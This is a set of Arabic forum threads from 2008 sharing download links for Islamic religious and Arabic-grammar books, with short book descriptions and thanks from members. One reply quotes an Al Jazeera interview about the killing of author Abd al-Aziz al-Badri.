قال في مقدمة الطبعة الثالثة: ( ... رغم ما في الكتاب من أخطاء مطبعية كثيرة بلغت قرابة 200 خطأ. حتى الغلاف لم يسلم من الخطأ في اسم الكتاب من "الأدلة الرضية" إلى "الأدلة الرصينة".)
وفي مقدمة الطبعة السادسة قال: (وما كنت أتوقع أن ينال هذا الكتاب: الأدلة الرضية لمتن الدرر البهية في المسائل الفقهية من القبول ... )(61/432)
أسبوعيات المساهم (21): كتاب كفاية المُعاني في حروف المَعاني (لأول مرة) Pdf
ـ[المساهم]ــــــــ[05 - 10 - 08, 03:36 م]ـ
بسم الله الرحمن الرحيم
الحمد لله وحده والصلاة والسلام على من لا نبي بعده، فعودة على بدء نكمل ما بدأناه من سلسلة (أسبوعيات المساهم)، وهذا الكتاب مما أعارني الأخ المبارك الشفيعي ويعد كتابنا هذا الكتاب الحادي والعشرون من ضمن السلسلة والكتاب هو
كفاية المُعاني في حروف المَعاني
تأليف
العلامة عبد الله الكردي البيتوشي
شرح
شفيع بُرهاني
التحميل
archive (http://www.archive.org/details/mo3ani) أو adrive (http://www.ahlalhdeeth.com/vb/ أسبوعيات المساهم (21): كتاب كفاية المُعاني في حروف المَعاني (لأول مرة) Pdf)
بطاقة الكتاب
العنوان: كفاية المُعاني في حروف المَعاني.
المؤلف: العلامة عبد الله الكردي البيتوشي.
الشارح: شفيع بُرهاني.
دار النشر: دار اقرأ.
سنة الطبع: الطبعة الأولى (1426 هـ / 2005م).
نوع التغليف: مجلد (350 صفحة)
ـ[عبد الرحمن أبو عبد الله]ــــــــ[05 - 10 - 08, 07:34 م]ـ
جزاك الله خيرا
ـ[محمد خليل]ــــــــ[06 - 10 - 08, 08:58 ص]ـ
شكراً جزيلا، لكن رابط موقع adrive خطأ.
ـ[المساهم]ــــــــ[06 - 10 - 08, 05:36 م]ـ
شكراً جزيلا، لكن رابط موقع adrive خطأ.
بل يعمل بارك الله فيك
ـ[منير الجزائري]ــــــــ[06 - 10 - 08, 09:43 م]ـ
جزاك الله خيرا
ـ[المساهم]ــــــــ[06 - 10 - 08, 11:42 م]ـ
شكراً جزيلا، لكن رابط موقع adrive خطأ.
أعتذر للأخ والرابط كما قال فيه خطأ وهنا الرابط الصحيح adrive (http://www.adrive.com/public/562d27912d17ea754a9de4c5b4827083e02173e15678fdfeff 428a54e5d6b7a3.html)
ـ[أبو مازن العوضي]ــــــــ[07 - 10 - 08, 09:42 ص]ـ
شكر الله لك
ـ[منير الجزائري]ــــــــ[09 - 10 - 08, 05:09 م]ـ
جزاك الله خيرا(61/433)
إعراب ما يشكل من ألفاظ الحديث النبوي كتاب الكتروني رائع
ـ[أحمد أبوالمعاطي]ــــــــ[05 - 10 - 08, 04:21 م]ـ
إعراب ما يشكل من ألفاظ الحديث النبوي كتاب الكتروني رائع
http://img263.imageshack.us/img263/6243/get620077ymlhpr1nm5.gif
إعراب ما يشكل
من ألفاظ الحديث النبوي
الإمام محب الدين أبو البقاء عبد الله بن الحسين العكبري الحنبلي
العكبري الشيخ الإمام العلامة النحوي البارع محب الدين أبو البقاء عبد الله بن الحسين بن أبي البقاء عبد الله بن الحسين العكبري ثم البغدادي الأزجي الضرير النحوي الحنبلي الفرضي صاحب التصانيف. ولد سنة ثمان وثلاثين وخمس مائة. قرأ بالروايات على علي بن عساكر البطائحي، والعربية على ابن الخشاب، وأبي البركات بن نجاح. وتفقه على القاضي أبي يعلى الصغير محمد بن أبي خازم وأبي حكيم النهرواني، وبرع في الفقه والأصول، وحاز قصب السبق في العربية. وسمع من أبي الفتح ابن البطي، وأبي زرعة المقدسي، وأبي بكر بن النقور، وجماعة. وتخرج به أئمة. قال ابن النجار: قرأت عليه كثيرا من مصنفاته، وصحبته مدة طويلة، وكان ثقة، متدينا، حسن الأخلاق، متواضعا، ذكر لي أنه أضر في صباه من الجدري. ذكر تصانيفه: صنف " تفسير القرآن " وكتاب " إعراب القرآن " وكتاب " إعراب الشواذ "، وكتاب " مشابه القرآن " و " عدد الآي " و " إعراب الحديث " جزء، وله " تعليقة في الخلاف " و" شرح لهداية أبي الخطاب "، وكتاب " المرام في المذهب " ومصنف في الفرائض، وآخر، وآخر. و " شرح الفصيح "، و" شرح الحماسة "، و" شرح المقامات " و" شرح الخطب "، وأشياء سماها ابن النجار وتركتها. حدث عنه ابن الدبيثي، وابن النجار، والضياء المقدسي، والجمال ابن الصيرفي، وجماعة. قيل: كان إذا أراد أن يصنف كتابا جمع عدة مصنفات في ذلك الفن، فقُرئت عليه، ثم يملي بعد ذلك، فكان يقال: أبو البقاء تلميذ تلامذته; يعني هو تبع لهم فيما يقرءون له ويكتبونه. وقد أرادوه على أن ينتقل عن مذهب أحمد فقال، وأقسم: لو صببتم الذهب الذهب علي حتى أتوارى به، ما تركت مذهبي. توفي العلامة أبو البقاء في ثامن ربيع الآخر سنة ست عشرة وست مائة وكان ذا حظ من دين وتعبد وأوراد.
حجم الكتاب 500 كيلوبايت
http://img185.imageshack.us/img185/8906/tajmeel1yh6ps2.gif
http://i285.photobucket.com/albums/ll64/Abolmaaty/1-85.jpg
http://i285.photobucket.com/albums/ll64/Abolmaaty/2-85.jpg
روابط التنزيل
http://www.4shared.com/file/65659558/d37b392e/Alfazolhadeethnat.html
أو
http://www.adrive.com/public/ac001beae560b4197ea4cd1ef7db21faa8e66813418f052188 3d8c66daac2632.html
فلنتعاون في الله بنشره على مواقع أخرى
http://img267.imageshack.us/img267/8083/mod4uf8fb5.gif
الكتب الالكترونية الاسلامية ( http://adel-ebooks.mam9.com)
ـ[أبو أكرم الحلبي]ــــــــ[05 - 10 - 08, 07:55 م]ـ
جزيت ووالديك الفردوس الأعلى
بارك الله بك وبعملك وزوجك وأهلك ومالك(61/434)
حملوا كتابي الجديد ((القُدْوَةُ الحَسَنَةُ وأَثَرُها في بِناءِ الجِيلِ)) للشاملة 3 + ورد مفهرساً
ـ[علي 56]ــــــــ[05 - 10 - 08, 04:52 م]ـ
بسم الله الرحمن الرحيم
الحمد لله رب العالمين، والصلاة والسلام على سيد الأنبياء والمرسلين، وعلى آله وصحبه أجمعين، ومن تبعهم بإحسان إلى يوم الدين.
أما بعد:
فإن الأمة اليوم بأمس الحاجة إلى القدوة الحسنة، الذين هم بناء الجيل، وهداة الطريق، ومنار السبيل.
ويمكن إجمال أهمية القدوة الحسنة في الأمور التالية:
1 - إنَّ المثال الحي والقدوة الصالحة يثير في نفس البصير العاقل قدراً كبيراً من الاستحسان والإعجاب، والتقدير والمحبة، فيميل إلى الخير، ويتطلع إلى مراتب الكمال، ويأخذ يحاول يعمل مثله حتى يحتلَّ درجة الكمال والاستقامة.
2 - إنَّ القدوة الحسنة المتحلية بالفضائل تعطي الآخرين قناعة بأن بلوغ هذه الفضائل والأعمال الصالحة من الأمور الممكنة التي هي في متناول القدرات الإنسانية، وشاهد الحال أقوى من شاهد المقال.
3 - إنَّ الأتباع والمدعوين الذين يربيهم ويدعوهم الداعية ينظرون إليه نظرة دقيقة دون أن يعلم هو أنه تحت رقابة مجهرية، فربَّ عمل يقوم به من المخالفات لا يلقي له بالاً يكون في نظرهم من الكبائر، لأنهم يعدونه قدوة لهم.
4 - الفعل أبلغ من القول: إن مستويات الفهم للكلام عند الناس تتفاوت، ولكن الجميع يستوون أمام الرؤية بالعين المجردة، وذلك أيسر في إيصال المفاهيم التي يريد الداعية إيصالها للناس المقتدين به، وفي هذا أمثلة كثيرة أذكر منها:
فعَنِ الْمِسْوَرِ بْنِ مَخْرَمَةَ وَمَرْوَانَ بْنِ الْحَكَمِ يُصَدِّقُ حَدِيثُ كُلِّ وَاحِدٍ مِنْهُمَا صَاحِبَهُ قَالاَ: خَرَجَ رَسُولُ اللَّهِ -صلى الله عليه وسلم- زَمَنَ الْحُدَيْبِيَةِ فِى بِضْعَ عَشْرَةَ مِائَةً مِنْ أَصْحَابِهِ حَتَّى إِذَا كَانُوا بِذِى الْحُلَيْفَةِ قَلَّدَ رَسُولُ اللَّهِ -صلى الله عليه وسلم- الْهَدْىَ وَأَشْعَرَ وَأَحْرَمَ بِالْعُمْرَةِ وَذَكَرَ الْحَدِيثَ بِطُولِهِ فِى نُزُولِهِ أَقْصَى الْحُدَيْبِيَةِ ثُمَّ فِى مَجِىءِ سُهَيْلِ بْنِ عَمْرٍو وَمَا قَاضَاهُ عَلَيْهِ حِينَ صَدُّوهُ عَنِ الْبَيْتِ قَالَ فَلَمَّا فَرَغَ مِنْ قَضِيَّةِ الْكِتَابِ قَالَ رَسُولُ اللَّهِ -صلى الله عليه وسلم- لأَصْحَابِهِ: «قُومُوا فَانْحَرُوا ثُمَّ احْلِقُوا». قَالَ فَوَاللَّهِ مَا قَامَ مِنْهُمْ رَجُلٌ حَتَّى قَالَ ذَلِكَ ثَلاَثَ مَرَّاتٍ فَلَمَّا لَمْ يَقُمْ مِنْهُمْ أَحَدٌ قَامَ فَدَخَلَ عَلَى أُمِّ سَلَمَةَ فَذَكَرَ لَهَا مَا لَقِىَ مِنَ النَّاسِ فَقَالَتْ أُمُّ سَلَمَةَ رَضِىَ اللَّهُ عَنْهَا: يَا رَسُولَ اللَّهِ أَتُحِبُّ ذَلِكَ اخْرُجْ ثُمَّ لاَ تُكَلِّمْ أَحَدًا مِنْهُمْ كَلِمَةً حَتَّى تَنْحَرَ بُدْنَكَ وَتَدْعُوَ حَالِقَكَ فَيَحْلِقَكَ فَقَامَ فَخَرَجَ فَلَمْ يُكَلِّمْ أَحَدًا مِنْهُمْ حَتَّى فَعَلَ ذَلِكَ نَحَرَ هَدْيَهُ وَدَعَا حَالِقَهُ فَحَلَقَهُ فَلَمَّا رَأَوْا ذَلِكَ قَامُوا فَنَحَرُوا وَجَعَلَ بَعْضُهُمْ يَحْلِقُ لِبَعْضٍ حَتَّى كَادَ بَعْضُهُمْ يَقْتُلُ بَعْضًا غَمًّا. صحيح البخارى (2731 و2732)
فدلَّ ذلك كله على أهمية القدوة، وعظيم مكانتها.
5 - إن النبي - صلى الله عليه وسلم- قد حذر الدعاة من المخالفة لما يقولون، فبين - صلى الله عليه وسلم- في الحديث الشريف حال الدعاة الذين يأمرون الناس وينهونهم وينسون أنفسهم، فعَنْ أَنَسِ بْنِ مَالِكٍ، قَالَ: قَالَ رَسُولُ اللهِ صلى الله عليه وسلم: مَرَرْتُ لَيْلَةَ أُسْرِيَ بِي عَلَى قَوْمٍ، تُقْرَضُ شِفَاهُهُمْ بِمَقَارِيضَ مِنْ نَارٍ، قَالَ: قُلْتُ: مَنْ هَؤُلاَءِ؟ قَالُوا: خُطَبَاءُ مِنْ أَهْلِ الدُّنْيَا، كَانُوا يَأْمُرُونَ النَّاسَ بِالْبِرِّ وَيَنْسَوْنَ أَنْفُسَهُمْ، وَهُمْ يَتْلُونَ الْكِتَابَ، أَفَلاَ يَعْقِلُونَ. مسند أحمد (12540) حسن.
ولا يقتصر الخطر على الداعية وعلى دينه؛ بل يتعدى إلى كل من يدعوهم، فليحتاط الداعية لهذا الأمر المهم، ويراقب أفعاله وأقواله، وليُري الله - تعالى- من نفسه خيراً.
(يُتْبَع .. اقلب الصفحة)
(61/435)
6 - إن جمله الأنبياء والمرسلين - عليهم الصلاة والسلام - من أولهم إلى آخرهم كانوا قدوة حسنة لأقوامهم، وهذا يدل على عِظم وأهمية القدوة الحسنة، ولهذا قال شعيب - عليه السلام - لقومه: ((قَالَ يَا قَوْمِ أَرَأَيْتُمْ إِنْ كُنْتُ عَلَى بَيِّنَةٍ مِنْ رَبِّي وَرَزَقَنِي مِنْهُ رِزْقًا حَسَنًا وَمَا أُرِيدُ أَنْ أُخَالِفَكُمْ إِلَى مَا أَنْهَاكُمْ عَنْهُ إِنْ أُرِيدُ إِلَّا الْإِصْلَاحَ مَا اسْتَطَعْتُ وَمَا تَوْفِيقِي إِلَّا بِاللَّهِ عَلَيْهِ تَوَكَّلْتُ وَإِلَيْهِ أُنِيبُ (88) [هود/88])).
7 - إن الناس كما ينظرون إلى الداعية في أعماله وتصرفاته ينظرون إلى أسرته وأهل بيته، وإلى مدى تطبيقهم لما يقول، وهذا يفيد ويبين أن الداعية كما يجب عليه أن يكون قدوة في نفسه يجب عليه أن يقوم أهل بيته وأسرته ويلزمهم بما يأمر به الناس، ويدعوهم إليه، فعَنْ عُبَيْدِ اللهِ بْنِ عُمَرَ، قَالَ: حدَّثَنِي مَنْ سَمِعَ سَالِمًا، قَالَ: كَانَ عُمَرُ إذَا نَهَى النَّاسَ عَنْ شَيْءٍ جَمَعَ أَهْلَ بَيْتِهِ، فَقَالَ: إنِّي نَهَيْت النَّاسَ عَنْ كَذَا وَكَذَا، وَإنَّ النَّاسَ لَيَنْظُرُونَ إلَيْكُمْ نَظَرَ الطَّيْرِ إلَى اللَّحْمِ، وَايْمُ اللهِ لاَ أَجِدُ أَحَدًا مِنْكُمْ فَعَلَهُ إلاَّ أَضْعَفْتُ لَهُ الْعُقُوبَةَ ضِعْفَيْنِ. مصنف ابن أبي شيبة (ج 11 / ص 125) (31285) هكذا ومصنف عبد الرزاق (20714) موصولا وهو صحيح.
فالقدوة الحسنة هو الذي يطابق قوله فعله، وحاله مقاله، ذلك لأن الدعوة إلى الله تعالى تحتاج إلى أناس صادقين، كما قال تعالى: {مِنَ الْمُؤْمِنِينَ رِجَالٌ صَدَقُوا مَا عَاهَدُوا اللَّهَ عَلَيْهِ فَمِنْهُمْ مَنْ قَضَى نَحْبَهُ وَمِنْهُمْ مَنْ يَنْتَظِرُ وَمَا بَدَّلُوا تَبْدِيلًا (23)} [الأحزاب/23]
وتحتاج إلى رجال يقولون ويفعلون، وقد ذمَّ الله تعالى من يقول ولا يفعل حيث قال: {يَا أَيُّهَا الَّذِينَ آَمَنُوا لِمَ تَقُولُونَ مَا لَا تَفْعَلُونَ (2) كَبُرَ مَقْتًا عِنْدَ اللَّهِ أَنْ تَقُولُوا مَا لَا تَفْعَلُونَ (3)} [الصف/2 - 3]
وقد اقتدى الناس بالأنبياء والمرسلين، لأنهم كانوا صادقين مع الله ومع الناس، وثبتوا حتى النهاية، قال تعالى عنهم: {وَتِلْكَ حُجَّتُنَا آَتَيْنَاهَا إِبْرَاهِيمَ عَلَى قَوْمِهِ نَرْفَعُ دَرَجَاتٍ مَنْ نَشَاءُ إِنَّ رَبَّكَ حَكِيمٌ عَلِيمٌ (83) وَوَهَبْنَا لَهُ إِسْحَاقَ وَيَعْقُوبَ كُلًّا هَدَيْنَا وَنُوحًا هَدَيْنَا مِنْ قَبْلُ وَمِنْ ذُرِّيَّتِهِ دَاوُودَ وَسُلَيْمَانَ وَأَيُّوبَ وَيُوسُفَ وَمُوسَى وَهَارُونَ وَكَذَلِكَ نَجْزِي الْمُحْسِنِينَ (84) وَزَكَرِيَّا وَيَحْيَى وَعِيسَى وَإِلْيَاسَ كُلٌّ مِنَ الصَّالِحِينَ (85) وَإِسْمَاعِيلَ وَالْيَسَعَ وَيُونُسَ وَلُوطًا وَكُلًّا فَضَّلْنَا عَلَى الْعَالَمِينَ (86) وَمِنْ آَبَائِهِمْ وَذُرِّيَّاتِهِمْ وَإِخْوَانِهِمْ وَاجْتَبَيْنَاهُمْ وَهَدَيْنَاهُمْ إِلَى صِرَاطٍ مُسْتَقِيمٍ (87) ذَلِكَ هُدَى اللَّهِ يَهْدِي بِهِ مَنْ يَشَاءُ مِنْ عِبَادِهِ وَلَوْ أَشْرَكُوا لَحَبِطَ عَنْهُمْ مَا كَانُوا يَعْمَلُونَ (88) أُولَئِكَ الَّذِينَ آَتَيْنَاهُمُ الْكِتَابَ وَالْحُكْمَ وَالنُّبُوَّةَ فَإِنْ يَكْفُرْ بِهَا هَؤُلَاءِ فَقَدْ وَكَّلْنَا بِهَا قَوْمًا لَيْسُوا بِهَا بِكَافِرِينَ (89) أُولَئِكَ الَّذِينَ هَدَى اللَّهُ فَبِهُدَاهُمُ اقْتَدِهِ قُلْ لَا أَسْأَلُكُمْ عَلَيْهِ أَجْرًا إِنْ هُوَ إِلَّا ذِكْرَى لِلْعَالَمِينَ (90)} [الأنعام/83 - 90]
وأفضل هؤلاء بلا منازع سيد الأنبياء والمرسلين صلى الله عليه وسلم، قال تعالى عنه: {لَقَدْ كَانَ لَكُمْ فِي رَسُولِ اللَّهِ أُسْوَةٌ حَسَنَةٌ لِمَنْ كَانَ يَرْجُو اللَّهَ وَالْيَوْمَ الْآَخِرَ وَذَكَرَ اللَّهَ كَثِيرًا (21)} [الأحزاب/21]
فهو قدوتنا في كل شيء، من تمسك بغرزه نجا، ومن تركه هلك.
فلا بد من القدوة في البيت، وفي الطريق، وفي العمل، وفي جميع شئون الحياة، حتى تؤتي الدعوة أكلها، وتينع ثمارها، فالكلام إذا خرج من القلب دخل في القلب، وإذا خرج من اللسان لم يتجاوز الآذان.
وانظروا يا رعاكم الله إلى القدوة السيئة وأثرها في هلاك المجتمعات، قال تعالى: {وَلَقَدْ أَرْسَلْنَا مُوسَى بِآَيَاتِنَا وَسُلْطَانٍ مُبِينٍ (96) إِلَى فِرْعَوْنَ وَمَلَئِهِ فَاتَّبَعُوا أَمْرَ فِرْعَوْنَ وَمَا أَمْرُ فِرْعَوْنَ بِرَشِيدٍ (97) يَقْدُمُ قَوْمَهُ يَوْمَ الْقِيَامَةِ فَأَوْرَدَهُمُ النَّارَ وَبِئْسَ الْوِرْدُ الْمَوْرُودُ (98) وَأُتْبِعُوا فِي هَذِهِ لَعْنَةً وَيَوْمَ الْقِيَامَةِ بِئْسَ الرِّفْدُ الْمَرْفُودُ (99) [هود/96 - 99]
وفي هذا الكتاب مجموعة طيبة من البحوث المقالات العلمية حول أهمية القدوة الحسنة وأثرها وشروطها، ومجالاتها المنوعة، جمعتها من مواقع شتى، ولاسيما من موقع المختار الإسلامي، وصيد الفوائد، والإسلام اليوم،والشبكة الإسلامية، وغيرها، وهي معزوة لمصادرها في بدايتها أو نهايتها، وتركتها كما هي.
سائلا المولى جلَّ وعلا أن تكون دافعاً لنا، لأن نكون قدوة حسنة لغيرنا.
قال الشاعر:
يا أيها الرجل المعلم غيره ... هلا لنفسك كان ذا التعليم
تصف الدواء لذي السقام وذي الضنى. كيما يصح به وأنت سقيم
ونراك تصلح بالرشاد عقولنا ... أبدا وأنت من الرشاد عديم
فابدأ بنفسك فانهها عن غيها ... فإذا انتهت عنه فأنت حكيم
فهناك يقبل ما تقول ويهتدى ... بالقول منك وينفع التعليم
لا تنه عن خلق وتأتي مثله ... عار عليك إذا فعلت عظيم
هذا وأسأل الله تعالى أن ينفع به كاتبه وناشره وقارئه والدال عليه في الدارين.
جمعه وأعده
الباحث في القرآن والسنة
علي بن نايف الشحود
في 5 شوال 1429 هـ الموافق ل 5/ 10/2008م
- - - - - - - - - - - - - - -
(يُتْبَع .. اقلب الصفحة)
(61/436)
ـ[أبو عبد الله السني]ــــــــ[05 - 10 - 08, 07:10 م]ـ
جزاكم الله خيراً
انظر هنا شيخنا الحبيب
http://www.ahlalhdeeth.com/vb/showpost.php?p=904238&postcount=4
ـ[علي 56]ــــــــ[05 - 10 - 08, 07:53 م]ـ
وأنت أخي الحبيب
جزاك الله خيرا(61/437)
الإسلام بين العلماء والحكام - عبدالعزيز البدري Pdf
ـ[ماجد المسلم]ــــــــ[05 - 10 - 08, 04:57 م]ـ
http://dc64.4shared.com/img/65744302/4e027a0f/__-____.pdf
حفلت الدولة الإسلامية في تاريخها الطويل، بمآثر جليلة سجلها العلماء في مواقفهم الخالدة والفذة مع الحكام، تلك المواقف التي اتسمت بالصدق والجرأة، والإخلاص لله ولدينه الحنيف، فلقد أظهر العلماء في تلك العصور عزة الإسلام، وأبانوا فيها حقيقة الشريعة الإسلامية، من صلابة موقفها من الحكام المنحرفين، وفي معالجتها لجميع شؤون الدولة التي يرأسها الحكام ويخضع لسلطانها المحكومون.
وهذا الكتاب يقدم دراسة وافية مستقاة من بطون السير والتاريخ والتراجم هدفها تدوين مواقف علماء السلف مع الحكام طيلة وجود الدولة الإسلامية، منذ أن أقامها سيدنا الرسول الكريم محمد صلى الله عليه وسلم في المدينة المنورة معنى سنة 1343هـ، وقد عني المؤلف في تسجيل تلك المواقف بجزئياتها وكلياتها فجمعها ونسقها وعلق عليها والهدف من هذا الكتاب هو إلقاء الضوء على تلك المواقف التي أثبت فيها العلماء أنهم حقاً ورثة الأنبياء.
عنوان الكتاب: الإسلام بين العلماء والحكام
المؤلف: عبدالعزيز البدري -رحمه الله-
دار النشر: المكتبة العلمية - المدينة المنورة
عدد المجلدات: 1
عدد الصفحات:256 / مفهرس
حجم الملف: 4.65 ميغابايت
للتحميل:
http://www.4shared.com/file/65744302/4e027a0f/__-____.html
ـ[حازم ناظم فاضل]ــــــــ[05 - 10 - 08, 07:26 م]ـ
بارك الله فيك يا أخي ماجد ووفك الله لما فيه الخير.
ـ[ماجد المسلم]ــــــــ[05 - 10 - 08, 10:43 م]ـ
بارك الله فيك يا أخي ماجد ووفك الله لما فيه الخير.
وفيك بارك الله .. شكراً على مرورك الطيب
ـ[ Aboibrahim] ــــــــ[06 - 10 - 08, 03:59 ص]ـ
جزاك الله خيراً أخي الكريم وجعل عملك هذا في ميزان حسناتك أخي الكريم.
بقي أن نعلم للتاريخ كيف مات الشيخ البدري مؤلف الكتاب، يعلم الجميع أن من قام بقتله هم البعثيون لكن لا يكاد يكون هناك توثيق لهذه الجريمة، حتى قام أحمد منصور في قناة الجزيرة من برنامج شاهد على العصر بأخذ شهادة وزير سابق في عهد البكر وصدام، وهذا الوزير هو حامد الجبوري، ودار حوار حول مقتل الشيخ رحمه الله هذا نصه
أأحمد منصور: مين عبد العزيز البدري؟
حامد الجبوري: أحد الشيوخ الدين السنة المحترمين الكبار في بغداد، فالشيخ عبد العزيز البدري كانت عنده علاقة جدا حميمة مع الرئيس البكر وكانوا يلتقون في مكتبه في القصر الجمهوري، فيوم من الأيام الحقيقة صباحا في بداية الدوام كالعادة أنا أروح أشرب شاي يم الرئيس وندردش وبعدين يعطي التوجيهات وإلى آخره أو إذا أكو قضايا مستعجلة آخذها معي ..
أحمد منصور: تفتكر التاريخ، الشهر حتى؟
حامد الجبوري: والله يا سيدي في بداية الثورة يعني ما كان ..
أحمد منصور: يعني الثورة في يوليو، نقول في أغسطس، في سبتمبر في أكتوبر؟
حامد الجبوري: ربما، إيه ربما، أغسطس، سبتمبر والله ما أذكر بالضبط.
أحمد منصور: نعم.
حامد الجبوري: فشفته مهموم حقيقة البكر ويدخن بكثرة، فسألته شو الموضوع سيادة الرئيس؟ قال لي أنا البارحة بالليل موجود بالبيت طلبوا مقابلتي مجموعة من مشايخ بغداد المحترمين، سبعة ثمانية، إجوا وهو الرجل مفتوحة أبوابه يعني الكل يأتي، فيقول جاؤوني لكني فوجئت بأن وضعهم مو الوضع الطبيعي اللي كنت أشوفهم بيه، يعني كانوا ما مرتاحين وغضبانين وكذا ففهم منهم أنهم سائلين ليش الشيخ عبد العزيز البدري قتلتوه؟ فهو فوجئ قال لهم الشيخ عبد العزيز قتل؟
أحمد منصور: البكر فوجئ؟ رئيس الدولة.
حامد الجبوري: بالضبط، هذا الشيء اللي رواه لي صباحا، يعني يترجاني يقول لي أرجوك تروح تقول لصدام وربعه أنه إذا يريدون يقومون بعمل على الأقل يقولون لي حتى لا أحرج أمام الناس، لأن هذول المشايخ استغربوا قالوا له معقول أنت؟ يقول أحد أمرين، إما أنا لا أعرف شيئا يعني إنسان ما عندي شيء، أو أنني أعرف وأخفي عليهم وفي كلتا الحالتين أنا يعني مذموم في نظرهم. فحقيقة كان متأثرا وكان منزعج جدا ومنفعل وفقد صديق عزيز له وهذا بدون أدنى شك.
أحمد منصور: يعني تعتبر أولى جرائم صدام حسين قتل الشيخ عبد العزيز البدري؟
حامد الجبوري: يعني من أوائل العمليات.
(يُتْبَع .. اقلب الصفحة)
(61/438)
أحمد منصور: وتعتبر أن الرئيس البكر كان عاجز أن يجيب صدام حسين ويحاسبه على قيامه بهذا الأمر وبيقول لك أنت روح قول لصدام ..
حامد الجبوري: هذه مسؤولية البكر التاريخية، المسؤولية التاريخية لأحمد حسن البكر أنه في الوقت الذي كان يستطيع التحرك والتحرك الفعال لتخليص العراق مما كان ماشي عليه التيار، هذا السبب أستاذ أحمد، هذا السبب أنه 1973 حصلت، هذا السبب 1979 حصلت، هذا السبب في التصفيات واسعة النطاق في كوادر وقيادات وقواعد حزب البعث، هذا الموضوع. يعني كان موجود أكو توجه واضح يقوده المرحوم الرئيس صدام توجه السلطة المطلقة، وأنا حزب البعث مر بثلاث مراحل رئيسية، المرحلة الأولى 1968 إلى غاية مؤامرة ناظم كزار 1973، كان الحزب يحكم إلى حد كبير يعني سلطة الحزب تعتبر، 1973 ..
أحمد منصور: التي كان يهيمن عليها صدام.
حامد الجبوري: بس صدام كان ما مهيمن تماما، لا، بالعكس كان الحزب قوي وكان رأيه يؤخذ به ومحترم الحزب. وكان الكثير من الروح الديمقراطية داخل المجتمعات الحزبية تصير.
أحمد منصور: برضه حتقول لي الديمقراطية!
حامد الجبوري: طبعا ديمقراطية بالتأكيد، مناقشات بمنتهى الحرية والمؤتمرات عامة ..
أحمد منصور: أي مناقشات بمنتهى الحرية والرئيس مش قادر يجيب صدام حسين بعد شهرين من قيام الثورة يحاسبه على قتل الشيخ عبد العزيز البدري؟!
حامد الجبوري: أستاذ أحمد شوف كانت عقدة 1963 يعني هي العقدة المتحكمة في تفكير المجموعة اللي إجت في 1968، عقدة 1963 أنه سقطت سلطة البعث، نظام البعث سقط في 1963 لأنه تسيبت الأمور بهذا الشكل وما كان مضبوط الأمن بشكل بحيث صار تحرك عبد السلام عارف وقضوا على حزب البعث وعلى نظام البعث، هذه العقدة أحمد حسن البكر كان يعيشها، خير الله تلفاح بتأثيره على البكر وعلى صدام اللي هو خال صدام أقنع البكر بشكل من الأشكال أن يطلق يد صدام في موضوع ملاحقة المتآمرين على الثورة الجديدة وعلى النظام الجديد فكان محتاج صدام، ثانيا لا تنسى أنهما من قرية واحدة ومن عشيرة واحدة ومن عائلة واحدة فأكو علاقات ..
أحمد منصور: لكن يد صدام لم تطلق من البداية لملاحقة أعداء الثورة وإنما كانت حتى تلاحق الشيوخ والعلماء مثل الشيخ عبد العزيز البدري كما تقول أنت.
حامد الجبوري: صحيح.
أحمد منصور: والبكر حين قال لك لم يستنكر وإنما قال لك أخبره حتى أعلم.
حامد الجبوري: لا، لأ، باستنكار كبير طبعا ..
أحمد منصور: أي استنكار؟ مش قادر يجيبه يحاسبه؟
حامد الجبوري: ما هو أنا شرحت لك الوضعية، مو بهالبساطة أستاذ أحمد يعني الأعمال ما تؤخذ بهذا الشكل، إدارة الدولة ما تؤخذ بهذا الشكل البسيط.
المصدر من القناة هنا ( http://www.aljazeera.net/NR/exeres/BFD428B7-CEC6-43B9-AD54-4903393C4454.htm)
رحم الله الجميع
ـ[أبو فراس فؤاد]ــــــــ[06 - 10 - 08, 07:12 ص]ـ
الله ارحمه واغفر له وانفع بعلمه وبارك فيه.
ـ[ماجد المسلم]ــــــــ[06 - 10 - 08, 09:55 ص]ـ
أخي أبو ابراهيم .. آمين وأشكرك على الإضافة القيمة ..
أخي أبو فراس .. آمين وشكراً على مرورك
ـ[كاتب]ــــــــ[06 - 10 - 08, 11:27 ص]ـ
جزاكم الله خيرا ... ونفع بكم ... ورفع قدركم .. وغفر لكم ولوالديكم.(61/439)
الكتب القديمة والطبعات النادرة والنفيسة
ـ[الطيماوي]ــــــــ[05 - 10 - 08, 06:56 م]ـ
كتب وطبعات قديمة ونادرة / .......
السلام عليكم ورحمة الله وبركاته
الاخوة الكرام وفقكم الله ويسر أمركم
فهذه صفحة افردتها لعرض الكتب النفيسة من طبعات قديمة ونادرة جدا وجدتها في موقع مكتبة المصطفى جزاهم الله خيرا
ولما كان التحميل منه بطيئا جدا قمت بإعادة تحميلها على موقع آخر تيسيرا للانتفاع بها والاستفادة منها , والرجاء الدعاء لأخيكم بظهر الغيب بدعوة صالحة بظهر الغيب بصلاح الحال والمآل والله الموفق
قمت بترتيبها وتجميعها مع العلم أن أي زيادة سوف يتم وضعها أولا بأول، وأي خلل في رابط سوف يتم تغيره أولا بأول
http://www.altemawy.com/new/index_sub.php?scid=100&ids=2&id=308&extra=news&type_base=103&count=1&type=103(61/440)
دروس و سلاسل مفرغة للشيخ العلامة ناصر العلوان - حفظه الله -
ـ[المورسلي]ــــــــ[05 - 10 - 08, 07:10 م]ـ
السلام عليكم ورحمة الله تعالى وبركاته
لسم الله و الحمد لله و الصلاة والسلام على رسول الله.
هذه بعض الدروس الفرغة للعلامة ناصر العلوان فك الله أسره, وجدتها عند أخ لي و أحببت أن أتحف بها اخواني في الملتقى.
أحكام قيام الليل:
http://surfmorocco.biz/newbody/doc/lile.doc
ألا ان نصر الله قريب:
http://surfmorocco.biz/newbody/doc/nasr.doc
الاستنفار للذب عن الصحابة الأخيار:
http://surfmorocco.biz/newbody/doc/sahaba.doc
الاجابه المختصره في التنبيه على المتون المختصره:
http://surfmorocco.biz/newbody/doc/moton.doc
منهج ابن حبان:
http://surfmorocco.biz/newbody/doc/7iban.doc
وفقنا الله للعلم النافع و العمل الصالح(61/441)
الكتب التي صورها ورفعها وفهرسها المساهم
ـ[الطيماوي]ــــــــ[05 - 10 - 08, 07:18 م]ـ
هنا يتم تجميع كل ما صوره ورفعه وفهرسه أخونا المساهم جزاه الله خيرا
http://www.altemawy.com/new/index_sub.php?scid=100&ids=2&id=309&extra=news&type_base=103&count=1&type=103
علما بأنه سيتم الزيادة أولا بأول والتعديل على القائمة والروابط بما هو مناسب أولا بأول إن شاء الله تعالى.
ـ[حسين بن محمد]ــــــــ[05 - 10 - 08, 10:29 م]ـ
جزاكم الله خيرا ..
